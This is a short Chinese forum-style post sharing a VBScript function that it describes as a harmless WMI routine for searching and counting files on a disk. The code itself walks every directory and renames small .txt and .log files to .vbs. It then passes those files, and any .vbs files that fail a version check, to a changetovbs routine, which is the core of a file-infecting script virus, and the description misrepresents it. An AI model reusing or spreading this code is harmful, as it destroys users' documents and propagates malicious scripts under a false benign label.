多年之前写的一个VBS调用WMI来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来
核心代码：
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
